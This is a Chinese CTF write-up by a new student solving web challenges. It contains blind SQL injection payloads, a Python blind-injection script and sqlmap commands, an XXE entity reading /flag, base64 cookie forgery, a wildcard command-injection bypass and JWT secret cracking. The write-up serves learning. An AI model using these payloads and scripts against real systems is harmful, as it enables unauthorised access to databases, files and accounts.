前言
第一次参加CTF比赛,能拿到新生第六已经非常满意了。感谢各位学长的辛勤付出,希望自己能进步得再快一点吧,今后也要继续加油!
web
intval
查看源码,发现要求传入的id不能被检测为1024但查询使用的时候必须为1024,看到intval函数,他会把其余类型值转化为整型,所以我们输入一个1024~1025之间的小数就能得到flag

close_eyes
我的方法为手注,费时费力,不过能更好理解数据库的结构。
1. 查询数据库中表的数量
admin' and (select count(table_name) from information_schema.tables where table_schema=database())=1#
得到肯定回答,说明只有一个表
2. 查询表的名字的长度
admin ' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4# 存在
说明表的名字长度为4
3. 查询表名
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97# 存在
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122# 存在
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110# 存在
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>116# 存在
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>117# 不存在
admin' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117# 存在
第一个字母为u
同理,推断出其他的字母,得到表的名字为user
4. 猜测user表中每列的名字
- 猜测user表每一列的长度
admin' and length(substr((select column_name from information_schema.columns where table_name='user' limit 0,1),1))=2# 成功
第一列列名长度为2
同理推断出其他列的长度,以此为2,8,8
- 猜测列名进行验证
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>104# 存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>106# 不存在
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))=105# 存在
说明第一个字母为i,然后依次得到每一列的名称为id,username,password
5.猜测每列中的内容
1' and ascii(substr((select password from users limit 0,1),1,1))> ……
通过这种方法能得到每列的内容。猜测flag藏在password的某一列中,查询password每列的第一个字母是否为0,查到第七列password的第一个字母为0,然后进行长度判断,最后试出每一个字母,得到flag
官方writeup
首先猜测SQL语句
select username from user where username='". $username ."' and password='". $password ."';
思路就是,(condition)为假的时候,(比如我用户名输入1’ or 1=0#或者乱输一个用户名密码),页面回显“数据库里没你这号人,别想骗劳资.jpg”
为真的时候(比如我输入1’ or 1=1#)页面回显“数据库有你这号人,那又怎么 着?”,根据回显情况的不同,我们就可以判断我们的condition究竟是真还是假。
原理和手注相同,也同样使用二分法盲注,下面是python脚本
#python3
#wh1sper
import requests
host = 'http://59.110.157.4:30052/login.php'
def mid(bot, top):
return (int)(0.5*(top+bot))
def sqli():
name =''
for j in range(1,250):
top =126
bot =32
while 1:
babyselect= 'database()'#user
#babyselect = '(select table_name from information_schema.tables wheretable_schema=database())'#user
#babyselect = "(select group_concat(column_name) from information_schema.columns " \
# "where table_schema=database() and table_name='user')"#id,username,password
#babyselect = "(select group_concat(password) from user)"#0xGame{blind_sqli_1s_not_hard}
data = {
"password": "1",
"username": "1'||ascii(substr({},{},1))>{}#".format(babyselect, j, mid(bot, top))
}
r = requests.post(url=host, data=data)
#print(r.text)
print(data)
if '数据库有你这号人' in r.text:#子查询为真
if top - 1 == bot:
name += chr(top)
print(name)
break
bot = mid(bot, top)
else:
if top - 1 == bot:
name += chr(bot)
print(name)
break
top = mid(bot, top)
if __name__ == '__main__':
sqli()
使用SQLmap工具注入
使用sqlmap能帮助我们节省大量的时间,这里给出这道题sqlmap的使用方法
用burp抓一下包,发现为post登录框,那么我们需要进行post注入,首先将抓的包导出

然后使用sqlmap进行列库
sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" --dbs

得到user这一个库,然后爆user库中的表名
sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user --tables

得到user这个表名,然后我们要爆出user表中的列名
sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user --columns --dump

然后爆出每一列的内容
可以让sqlmap自动把所有列的字段爆出来
sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user --columns --dump

也可以自己决定爆哪一列的内容
sqlmap.py -r "C:\Users\spherica\Desktop\sqltest.txt" -D user -T user -C password --dump

inject_me
抓一下包,注意Content-Type的格式,存在xml漏洞,根据题目,flag的位置在/flag 构造payload
<?xml version="1.0"?>
<!DOCTYPE dy [
<!ENTITY dy SYSTEM "file:///flag">
]>
<user><username>&dy;</username><password>123</password></user>
一篇关于xxe的文章:https://xz.aliyun.com/t/3357
虚假留言板
发现随便输入账号密码就能进入,进去后提示这里没有flag,用burp抓一下包,发现一串cookie,
先用url解码,再用base64解码得到:{"username":"aaa","status":1}
将aaa改为admin,然后再用base64编码,url编码得到:eyJ1c2VybmFtZSI6ImFkbWluIiwic3RhdHVzIjoxfQ%3D%3D
将伪造的cookie放入brup中复现得到flag

???
F12把maxlenth改为大一点的数,然后删掉提交按钮的disable属性,输入 yulige 后提交,访问 sh3ll.php
<?php
error_reporting(0);
highlight_file(__FILE__);
//echo "flag is in fl4g_is_here.php";
$cmd = $_POST['cmd'];
if(preg_match("/[A-Za-ko-z0-9]+/", $cmd)){
die("hacker!");
}
$blacklist = "~!@#%^$&\/*()()<>《》-_{}[]'/\":,";
foreach(str_split($blacklist) as $char) {
if(strchr($cmd, $char) !== false)
die('Big Hacker!!');
}
system($cmd);
?>
给出源码,发现 l m n ? . 还有空格没过滤,提示其实很明显了,题目????提示Linux通配符,lmn没过滤提示使用 nl 查看文件,搜索命令执行绕过都是可以搜索到的
payload:
POST: cmd=nl ????????????????
因为 < 的原因,CTRL+U或者F12查看源码即可
switch
使用kali恢复vim缓存的网址,得到源码的网址

第一个对id的过滤可以用2加字符绕过,第二个正则的过滤用大写字母绕过,得到一串base64编码,解码即为flag

jwt
抓包发现需要对jwt进行伪造登录admin账号,用jwtcracker暴力破解signature
得到密钥为njupt

用http://jwt.io进行jwt伪造,再用burpsuit发送伪造的jwt得到flag

Comments | NOTHING